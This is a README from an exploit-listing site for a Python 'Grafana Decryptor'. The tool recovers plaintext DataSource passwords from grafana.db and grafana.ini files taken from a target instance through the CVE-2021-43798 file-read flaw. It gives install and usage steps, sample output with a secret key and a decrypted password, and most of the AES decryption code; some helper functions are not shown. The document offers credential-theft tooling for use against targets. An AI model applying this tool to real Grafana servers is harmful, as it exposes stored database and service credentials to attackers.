## https://sploitus.com/exploit?id=C81B3EAF-3385-52F2-925A-C1B794CDA901
# Grafana Decryptor for CVE-2021-43798
This script decrypts the DataSource passwords from a Grafana instance vulnerable to CVE-2021-43798, which allows unauthorized arbitrary file reading.
## Description
Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a directory traversal vulnerability that allows unauthorized users to read arbitrary files on the server. This script exploits this vulnerability to decrypt DataSource passwords found in the `grafana.db` file using the `secret_key` found in the `grafana.ini` configuration file.
## Requirements
- Python 3.6+
- The following Python libraries:
- `requests`
- `questionary`
- `termcolor`
- `cryptography`
## Installation
1. Clone the repository or download the script.
2. Install the required Python libraries:
```bash
pip install requests questionary termcolor cryptography
```
## Usage
1. Ensure you have the `grafana.db` and `grafana.ini` files from the target Grafana instance.
2. Run the script to decrypt the DataSource passwords.
### Example: Get the DataSource Password
```bash
python decrypt.py
```
### Example: Encrypt a Plaintext Password
You can also encode a plaintext password using the script by uncommenting the example code in the script.
## Script Details
### Deriving the Encryption Algorithm
The script determines the encryption algorithm used by analyzing the payload. The default encryption algorithm is `aes-cfb`.
### Decrypting the Password
Using the derived encryption algorithm and the `secret_key` from `grafana.ini`, the script decrypts the DataSource password.
### Encrypting a Password
The script also includes functionality to encrypt a plaintext password using the same encryption method and `secret_key`.
## Example Output
```
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
```
### Decryption and Encryption Functions
```python
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
```
These functions handle the decryption and encryption processes.
## Contribution
Feel free to open issues or pull requests if you find any bugs or have suggestions for improvements.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.